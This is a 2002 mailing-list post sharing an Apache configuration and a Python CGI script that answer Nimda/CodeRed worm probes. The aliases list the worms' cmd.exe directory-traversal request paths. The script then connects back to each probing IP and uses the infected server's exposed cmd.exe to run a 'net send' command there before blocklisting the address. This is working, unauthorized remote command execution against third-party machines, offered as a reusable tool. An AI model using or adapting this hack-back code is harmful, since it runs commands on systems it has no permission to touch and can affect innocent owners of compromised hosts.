On Tue, Oct 29, 2002 at 07:49:58AM -0800, Paul Johnson wrote:
| Is there some apache module that will notice various IIS exploits in
| real time, look up the proper contacts and report it to the
| corresponding abuse contacts automagically?
An incomplete answer follows.
/etc/apache/httpd.conf :
~~~~
# Nimda/CR spoof
Alias /d/winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
Alias /scripts/..\\\\../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
Alias /scripts/../../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
Alias /scripts/..À¯../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
~~~~
nimbda.py is attached.
I follow it up with the following cron job :
# Update the nimbda blacklist daily.
0 2 * * * root /etc/FIREWALL/FIREWALL > /dev/null
and the attached script run early during my firewall script.
-D
--
A Microsoft Certified System Engineer is to information technology as a
McDonalds Certified Food Specialist is to the culinary arts.
Michael Bacarella commenting on the limited value of certification.
http://dman.ddts.net/~dman/
#!/usr/bin/python2.3
version = "$Revision: 1.2 $"[11:-2]
"""
$Id: nimbda.py,v 1.2 2002/08/05 14:19:39 dman Exp $
$Revision: 1.2 $
CGI script to answer nimbda/codered probes. Sends a nice alert back to the
domain of the offender before droplisting their IP.
TODO :
. store a history for the address
. periodically clean out the cleaned-up addresses
. use a script rather than 'cat' in the firewall script
(this goes along with the first "todo" item)
"""
##True=1 ; False=0 ; # builtin in 2.3!
import httplib
import os
import sys
import urllib
import urlparse
print "Content-Type: text/plain\n\n"
offender = os.environ['REMOTE_ADDR']
# XXX
if not not __debug__ :
import time
f = file( "/tmp/nimbdacgi.timestamp" , "a" )
s = '%s %s\n' % ( time.asctime() , offender )
f.write( s )
print s[:-1]
#f.write( time.asctime() )
#f.write( ' ' )
#f.write( offender )
#f.write( '\n' )
f.close()
del f , time
MESSAGE = r"net send * CodeRed! NIMBDA! Clean it up already! IIS is FUBAR!"
#URLPATH = "/var/www/scripts/root.exe"
URLPATH = "/d/winnt/system32/cmd.exe"
URLQUERY = urllib.quote( MESSAGE )
blocklist_path = "/tmp/iptables.droplist.nimbda"
def main() :
##try :
## f = file( blocklist_path , "a" )
## print repr(f)
## f.write( "" ) ;
## f.close()
##except :
## print "What in the world!?"
## import traceback
## traceback.print_exc()
# don't use a proxy
try :
del os.environ['http_proxy']
except KeyError : pass
# don't let any password prompts stop us!
sys.stdin.close()
sys.stdin = file( "/dev/null" , 'r' )
addrs = load_blocklist()
old_count = len(addrs)
addrs[offender] = None
# sanity check
import threading
class ProbeThread( threading.Thread ) :
def __init__( self , addr ) :
self.addr = addr
threading.Thread.__init__( self )
def run( self ) :
#if probe( self.addr ) :
# append_to_blocklist( self.addr )
probe( self.addr )
append_to_blocklist( self.addr )
# end class ProbeThread
tlist = []
for o in addrs.keys() :
print o
if o in ( '127.0.0.1' , ) :
print "Skipping address %s" % o
del addrs[ o ]
continue
pt = ProbeThread( o )
pt.start()
tlist.append( pt )
while tlist :
thread = tlist.pop()
thread.join()
final_count = len(addrs)
new_count = final_count - old_count
#alist = addrs.keys()
#alist.sort()
#update_blocklist( alist )
if __debug__ :
print
print "Loaded %d old addresses." % old_count
print "Located %d new addresses." % new_count
print "Currently blocking %d nimbda/codered-infected IPs" % final_count
#print "Blocked addresses :"
#print "\n".join( alist )
#end main()
def load_blocklist( ) :
"""Load the existing blocklist."""
addresses = {}
if os.path.exists( blocklist_path ) :
f = file( blocklist_path , 'r' )
for line in f :
l = line.strip()
if l :
addresses[ l ] = None
return addresses
# end load_blocklist()
def append_to_blocklist( addr ) :
"""Append a single address to the blocklist"""
f = file( blocklist_path , 'a' )
f.write( addr )
f.write( '\n' )
f.close()
# end append_to_blocklist()
def update_blocklist( addrs ) :
"""Recreate the blocklist from the address sequence"""
addrs.sort()
f = file( blocklist_path , 'w' )
for a in addrs :
f.write( a )
f.write( '\n' )
f.close()
# end update_blocklist()
def probe( addr ) :
"""Probe the addresses for nimbda."""
# guilty until proven innocent
retval = True
try :
#f = urllib.urlopen( urlparse.urlunparse(
# ('http' , addr , URLPATH , '' , URLQUERY , '') ) )
#resp = f.info()
conn = httplib.HTTPConnection( addr )
conn.request( 'GET' , (URLPATH+"?"+URLQUERY) )
resp = conn.getresponse()
conn.close()
print "__"
print repr(addr)
status = resp.status
print "Response status:" , status
print resp.reason
print "--"
if status == 200 :
retval = True # how nice, they got a warning
elif status == 404 :
# This will probably only happen with dynamic addresses already in
# the droplist.
retval = False
elif status == 403 :
# Forbidden? Why does the file exist in the first place?
retval = True
except EOFError , err :
# what do they want a password for?
retval = False
print "__"
print addr
print "EOFError (password prompt)"
print "--"
except IOError , err :
print "__"
print addr
print str(err)
print "--"
if False : pass
# 110 == Connection timed out
elif err.errno == 110 :
retval = False
# 111 == Connection refused
elif err.errno == 111 :
retval = False
# 113 == No route to host
elif err.errno == 113 :
retval = False
except Exception , err :
retval = False # maybe they fixed it by now?
print "__"
print addr
print str(err) , str(err.__class__)
print dir( err )
print "--"
print
# end probe()
if __name__ == "__main__" :
main()
## ----------------------------------------------------------------------------
# History :
# $Log: nimbda.py,v $
# Revision 1.2 2002/08/05 14:19:39 dman
# Fixed several issues :
# . new hosts not being recorded
# . race condition when re-writing the blocklist
# Other minor cleanups in the code.
#
# Revision 1.1 2002/07/26 16:53:03 dman
# first checkin
#
Attachment:
droplist.sh
Description: Bourne shell script
Attachment:
pgpZL1FlXsI5P.pgp
Description: PGP signature